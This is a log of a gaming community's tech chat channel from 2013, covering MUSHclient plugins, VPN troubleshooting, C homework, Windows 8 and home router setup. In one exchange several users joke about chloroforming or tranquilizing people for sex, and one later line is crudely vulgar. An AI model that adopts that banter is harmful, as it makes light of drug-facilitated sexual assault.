T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have used it before. not awesome at it, that is for sure. i will need to get better at it though for school so might as well start now
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Aizma Tech: Isn't Mint just Ubuntu?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: when im setting values in MYSQL im doing INSERT INTO table VALUES (values) but one of the values is a date, and it seems to be the only one not setting, any ideas why?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}No pants Travis Tech: anyone know how to use the cmud global vars when using python
T3/r7/2013-03-15.txt.gz:{chan ch=tech}BobTheGreat Tech: Is it normal for ProxyMud to screw with the MUSH communication log (among other things)?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: has anyone had a problem with a desktop that the computer wont turn on unless the ODD is open?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: umm no that is weird. maybe the dvd drive is bad and it thinks it is reading something? maybe lower it in the boot priority?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was thinking a bad drive also, was going to pick up a cheap one to swap it out with
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: see if you can remove it from the boot list completely.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im not in front of the computer now, its a problem my best friends mom computer has been having for a couple of years, was going to go look at it this weekend
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol for a couple years?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Ranrr Tech: My laptop won't boot if I have my portable DVD player plugged in... not the same thing, but weird things _can_ happen. :D
T3/r7/2013-03-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ya im barly getting around to working on it again =/
T3/r7/2013-03-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im slow on my computer repair :P
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vonliege Tech: when the terms "computer", and "a couple of years" are used in the same sentance, my reply has to be "Run!"
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: meh i gave up on doing other peoples computers unless they are family or okay with it taking forever. really don't want to get home and work after work
T3/r7/2013-03-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: she is like another mom :P ... it really does not bother me, i go and get free food, and make a couple of bucks
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vonliege Tech: that, and as soon as you "fix" someones computer (especially family), you are irrevokably responsible for it FOREVER (which is about how long it is till they get a new computer)
T3/r7/2013-03-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyways thanks for the info, i need to finish getting ready for work
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: doesn't matter with my parents' if I ever even looked at it before, I was still irrevocably responsible for it
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vonliege Tech: the last time my mom called and asked me to fix her computer (about two years ago), I called Dell and had a new one sent to here WITH the two year onsite service (cost as much as the computer).
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Ranrr Tech: I just say (which is almost true) that I don't know about windows. 
T3/r7/2013-03-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: when i lost my job i had to move back in with my mom, and now its every time she turns around "hey son im having XXX problem, whats wrong" or "XXX program needs more money should i do it" or "are you sure its safe to do online banking and buy stuff?" im like yes mother i personally set up the router, and you dont "browse" the internet you stay on your 3 main sites (facebook/bank/something else) you are 100% safe
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Ixle Tech: Too bad that's not true.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vonliege Tech: "XXX"?  man... I don't know if i'd by talking about my mom's internet surfing habits... especially if she's going to XXX sites.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i spent 4 hours one day helping my mother burn some pictures to a cd. i was dumb and didn't stay to help her label the cd. she wrote on the shiny side lol
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Tech: Ranrr falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya i laughed too after i cried
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: did you at least teach her to do it herself so she could fix her own mistake?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: teach my mother something?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ha!
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: the reason it took so long to burn a dozen pictures is because she couldn't fathom why you don't close the windows for everything after each time you copy a file over
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Shikai Tech: Is there a guide for setting up multiple communication windows in the Aardwolf MUSHclient? Like putting all market stuff in one, all newbie/q in another, tells/says in another, that type of thing?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Quadrapus Tech: Anyone have experience with matlab serial connections?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}BobTheGreat Tech: Is there no way to capture a line in MUSHclient while preserving color codes?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Martini & Tyebald Tech: ctrl-D
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Leinei Tech: If you're using lua, the fourth argument of a trigger is the styles, which includes colors
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Leinei Tech: If you're not using lua, there's the GetStyleRuns() function
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Leinei Tech: GetStyleInfo(), rather
T3/r7/2013-03-15.txt.gz:{chan ch=tech}BobTheGreat Tech: Does that return all the color codes?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Leinei Tech: it's a table with all of them in it, yeah
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Leinei Tech: i don't recall the exact format of the table
T3/r7/2013-03-15.txt.gz:{chan ch=tech}BobTheGreat Tech: I'll look into that, thanks :)
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vonliege Tech: is there a dependable DPS pluggin around?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Hanslanda Tech: what makes you think the current ones are undependable?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vonliege Tech: let me re-phrase my question...  Me need-um DPS thingie.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Hanslanda Tech: I shall rephrase as well...why?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vonliege Tech: that's a troll, right?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Hanslanda Tech: nope.  The question you're asking made the premise that you already had one but are unsatisfied with its performance.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vonliege Tech: what the heck... I'll bite...  I need a DPS meter to accuratly and efficiently evaluate what spells are most approriate based on over all damage output
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok anyone have any answers for this: setup new vpn connection. one IKE intiator is exchanged and that is it. nothing else happens nothing on the logs. pings do go through though
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sonicwall tz105 at one end and sonicwall nsa 2400 at the other
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: .......swear to god i should find another profession. shit just doesn't work and then when i give up it starts working
T3/r7/2013-03-15.txt.gz:{chan ch=tech}ElFeneri Tech: give up faster
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: scholarly advice :)
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Trachx Tech: maybe routing problems
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: shouldn't be routing problems. checked all that several times. i think i just need to give up sooner
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: wonder if that works for other aspects of life as well
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Hanslanda Tech: it does.  For example, when you're hitting the bar scene with your buddies looking to score you can risk going home alone by insisting on a hottie.  If you go ugly early, though, you're pretty much guaranteed to score and if you set the bar low enough perhaps you can sneak off and come back multiple times.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: rofl. i feel bad for your junk :P
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Trachx Tech: after successful phase 1 and 2 there is only routing left\
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: interestign theory
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: logs never showed phase 1 or 2 just initiator
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Xantcha Tech: You /could/ lower your standards, or invest in choloroform
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Trachx Tech: sometimes it depends which router initiates connection
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya i am not sure atm i will check logs when i get home but sweet! my day is over. time to chloroform some uglies!
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Hanslanda Tech: that's kind of a misuse of the concept, I think.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: that too much giving up?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Hanslanda Tech: no, wasting the chloroform on the uglies.  If you got it, might as well aim higher.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}ElFeneri Tech: have you tried using your charm? Amazingly it can work.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Rusk Tech: chloro is the charm :P
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Hanslanda Tech: well, that's what I said.  Not a big fan of chemical romance, myself.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Frostpaw Tech: nah, tranquilizer darts = the charm :P
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Frostpaw Tech: rusk would know ;)
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Rusk Tech: so no pheromones either hans?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Trachx Tech: multiple proposals, that also apply to vpn as well to life
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Hanslanda Tech: nothing like Sex Panther, if that's what you mean.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: how many bits would you need to do east north south west and then how do you know when you need an up down northwest etc
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Um, what?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: 3 bits
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: use more bits
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: respectively
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: I'm trying to convert a binary file to a sort of format for a mud
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: things don't generally work that way
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Birdbrain Metria Tech: What kind of binary file? And MUD servers tend to have their own unique file formats, too.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You mean Fiendish you aren't staring your screen in green 1s and 0s scrolling down your monitor?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I only do that at work.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: It's too much of an eye strain otherwise to deal with the hassle.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: well I don't know of any ways of debugging exe files to some sort of assembly and I was wondering if it helped to have graphics
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: forget 1s and 0s. real programmers use chinese.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: yeah good point, good also to keep work and play seperate!
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: and in DNA you only use 3 paired bases for a amino acid
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Birdbrain Metria Tech: I just use all 1s because they're skinny and get through the wires faster.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Greendude: did you previously have a character named Lemon?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Guess they wouldn't ahve to worry about too long variable names...
T3/r7/2013-03-15.txt.gz:{chan ch=tech}BobTheGreat Tech: I thought it was 4 bases?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: sweet
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: there are 4 types of bases but only 2 types of paired bases, then that's just the types
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: I guess I could make it arbitrary
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: I think I did have a character named Lemon
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Quadrapus Tech: There are other bases besides the four canonical bases :P
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: oh yeah that's true
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: but still there are like 2^3 options with 3 bits
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Greendude: you sound like Lemon. He also liked to string together meaningless drivel
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger crosses his arms and nods slowly and sagely.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Everything's ball bearings these days
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: please don't troll on my tech channel
T3/r7/2013-03-15.txt.gz:{chan ch=tech}GraySong Gregor Tech: it's magnets
T3/r7/2013-03-15.txt.gz:{chan ch=tech}GraySong Gregor Tech: everything is done by magnets these days
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: well what's a good ide for programming
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Birdbrain Metria Tech: What language?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: c++
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Don't be a wuss. Use Notepad++. Failing that, try netbeans or something.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the best ide for C++ is Microsoft Visual C++
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: mine stalled during download
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sucks to be you
T3/r7/2013-03-15.txt.gz:{chan ch=tech}ElFeneri Tech: vim+cscope is a winner for C.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}GraySong Gregor Tech: magnets
T3/r7/2013-03-15.txt.gz:{chan ch=tech}GraySong Gregor Tech: that problem is definitely caused by magnets
T3/r7/2013-03-15.txt.gz:{chan ch=tech}GraySong Gregor Tech: actually I find the solution to most, if not all, problems involve magnets in some way
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: Gregor I wish I could see it that way
T3/r7/2013-03-15.txt.gz:{chan ch=tech}GraySong Gregor Tech: try sleeping with a powerful magnet under your pillow
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: yeah I think I'm gonna stay away from C++ for a while
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: you could try c# as a saner alternative if you fancy
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I like c++
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: I'm still interested I just gotta get that debugging thing out of my mind
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you mean the thing where you don't know what you're talking about and string random thoughts together?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Greendude Tech: yes fiendish
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Vonliege Tech: can someone throw me an example of a AaardMUSH trigger that targets the communications window?  I wanna highlight certain words that come thru there.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: huh?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: Ugh anyone know why my client would spam k mob? where mob is my last quest/cp target
T3/r7/2013-03-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: ive reinstalled all plugins
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Redryn Tech: that sounds very illegal
T3/r7/2013-03-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: Yea well its actually very annoying
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Percival Tech: autotrigger?
T3/r7/2013-03-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: no i dont have any triggers that would make it do that :/
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Tech: I'd try disabling 3rd party plugins one at a time, also double-checking your aliases
T3/r7/2013-03-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: it was working fine and now its just going nuts. Out of nowhere. and reinstalling Winkle's clears the name but it still spams the commands
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Tech: does uninstalling it stop the spam
T3/r7/2013-03-15.txt.gz:{chan ch=tech}BobTheGreat Tech: Have you tried restarting mush? A plugin might have run into a small bug.
T3/r7/2013-03-15.txt.gz:{chan ch=tech}Redryn Tech: try disabling your basic aliases/triggers
T3/r7/2013-03-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: ahhhh no i keep spamming ak.....
T3/r7/2013-03-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: disabling the plugin just makes me spam ak now
T3/r7/2013-03-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: I think it was a macro...maybe a key is stuck
T3/r7/2013-03-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: the spam is gone. thanks for the help guys :)
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: is anyone here on Robot Combat League?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why would my samsung note suddenly not check gmail, throwing a "not safe to connect to server" message?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: just stick a voda soaked tampon up your anus
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: mis
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Elchanan Tech: who would have known
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: been pestering about this for a bit now, but here it is again in case there's some new ears out there....
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: is there a DPS meter PI for AardMUSH?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Rusk Tech: there are damage trackers, but not sure if dps. 
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: the built in damage tracker is fine as far as it goes...
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: but it only counts the damage for one instance of a spell
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: so it will make flame spear look real good with its 2x 500, when nova is really better with its 6x200
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Brainfreezeo Tech: ok somehow i have made my info bar span the majority of the main screen pushing the other windows all the way to the right and squished. Can someone tell me how to get it back to normal?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: View->Rest Toolbar Locations
T3/r7/2013-03-16.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: HOw do you do fixed width matches in regex again?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I want to match first 20 chars in a variable, then next 20 chars...
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Bast Tech: {20,20} means match 20 of the last token, whatever it was
T3/r7/2013-03-16.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Thanks Bast, will try that!
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Bast Tech: is this lua in mush, or something else?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: bast... since you poked your head up...
T3/r7/2013-03-16.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Lua Mush, trigger most likely, but I also need them to be optional...
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: loving the plugins... could exist happily for along time with them....
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth crosses his arms and nods slowly and sagely to Vonliege.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: has anyone considered a DPS meter?  Havn't been able to find one, so I am guessing not.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Ixle Tech: dtrack
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Bast Tech: it isn't as easy as it sounds, because combat does not have a definate beginning and ending
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The River Styx Tech: not that hard.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The River Styx Tech: with gmcp
T3/r7/2013-03-16.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It can be, if you kill fast enough Styx
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: yes, I can see where that would be troublesome... as for dtrack, it's great and all, but it's shortcomming is that it doesn't look at ALL the damage from a spell, just one piece....
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Bast Tech: if you are fighting 18 of the same mob, then gmcp doesn't help
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The River Styx Tech: why not? if your fighting multiple mobs the dps should track over the whole encounter, not each mob individually
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: so if you cast 'fart cloud', and it hits 6 times for 200 each, it reports an average of 200... where as if you cast 'SUPER fart cloud', and hits 50 times for 200 each, it reports an average of 200... same same
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The River Styx Tech: test for dropping into state 8 and back out of and make the calc
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Bast Tech: the state doesn't change if you are fighting multiple mobs
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The River Styx Tech: exactly
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The River Styx Tech: what part of 'the whole encounter' did you not get what I was saying?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The River Styx Tech: shouldnt test it per mob, but per fight.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Bast Tech: yes, but most people want per mob DPS, not per fight
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The River Styx Tech: I don't see why.  It's going to be the same.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Bast Tech: not really, I know of several mobs that have the same name, but different vulns
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: fart cloud a room with different mobs that have different vulns
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so if i have a structure in C, call it PoundOunce with variables int Pound and int Ounce. then in the main function i have PoundOunce p1, p3, p2 = {2, 2} what does the PoundOunce p1, p3, p2 = {2, 2} do?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Ontuct Tech: is this a quiz?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: for me or for you? this is a poorly written example for an assignment for me
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: I wonder why my Bast Miniwin-Quest isn't staying up when I'm not on a quest all the sudden.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: can't wait until this class is done so i can punch the teacher
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: here are your lecture notes. btw not a single example actually works. there is also no comments on anything and my book doesn't seem to cover any of the things i have questions about either
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: any clue why my quest window doesn't stay up anymore?  used to sit there and count down till I could so another quest.  now it only shows when I am on a quest.  Bast pluggin, BTW
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Bast Tech: is it quest or events?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: quest window
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: I tried reinstalling it... didn't work.  It works GREAT when I ahve an active quest
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: perhaps changelog?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: shrug, just an idea
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Bast Tech: "mquest quest show" should show it again, then do "mquest save"
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: K... it showed.  we'll wait for another quest to see if it sticks... 24 minutes.  I know because that what it says in the quest window
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: I could just tuck "mquest quest show" into my quest get/turn-in alias
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vonliege Tech: except that wouldn't work, because one part would be for the world, and the other would be an execute....  I could nest it with another alias, but sometimes that cause the bad men to come.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Send to script, then you can do Send() and Execute() as needed
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: anyone use windows 8?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Aye
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: how do i delete a program i have downloaded?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: If you installed it, go to your Home screen.  Right click, and go to all apps.  Find control panel, and then it's all like Windows XP
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: okay i will try, but i will prolly be back XD
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Ok!  I am a Windows 8 noob myself
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: unistall win8 and that should do it :P
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Lol
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: yeah, uninstall win8, go back to 7 or xp imho :P
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Xaeris Tech: What's the problem with win8 frost?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: or try installing one of the start menu hacks so that you can actually find things again
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: shrug, its just a mobile OS more than a desktop OS, way I see it
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: I think Windows 8 will eventually become faster and more productive than previous Windows.  But it sucks having to relearn an operating system
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Xaeris Tech: no, it's more of a touchscreen OS.  So get a laptop with a touchscreen, or a pc touchscreen, and then let's talk :P
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: that, and it's an even-numbered windows
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i installed it on the fiances computer and installed a start menu hack. i am not sure she knows she is on windows 8 or not
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Yes, touchscreen is actually pretty useful
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: true, I should have said touchscreen rather than mobile, I'm sorry.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: It's nice for browsing the internet
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: At least on a laptop with no mouse, just a pad
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: i'm confused, i have a laptop with wifi, and a computer with a ethernet cord hooked up to it, the computer gets enternet but my laptop doesn't, but it has a good connection. any ideas?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Are you inputing the correct password?  Sounds silly, but I did that before lol
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: yep its the correct password
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: umm is the ethernet cord going to the router and not the modem?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: was about to ask that
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: confused
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: i think its the modem
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: you have the router/modem setup?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: you need the router to have a connection to the modem for wifi to work
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Your wireless router needs to be connected to the modem
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: there should be an ethernet cord from the moden to the wan port of the router
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: you should have 2, one going from modem to router, another from router to computer.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: what they said, basically :P
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: My internet company has the router and modem combined it's super nice
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: hmmm, the wifi is built in to the modem
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Prince Wario Tech: wood idea
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Prince Wario Tech: good idea
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: for some odd reason i still can't connect and when i do i get disconnected sometimes and cant connect for awhile
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Leinei Tech: My money is still on an incorrect password
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: make and model of modem/router?
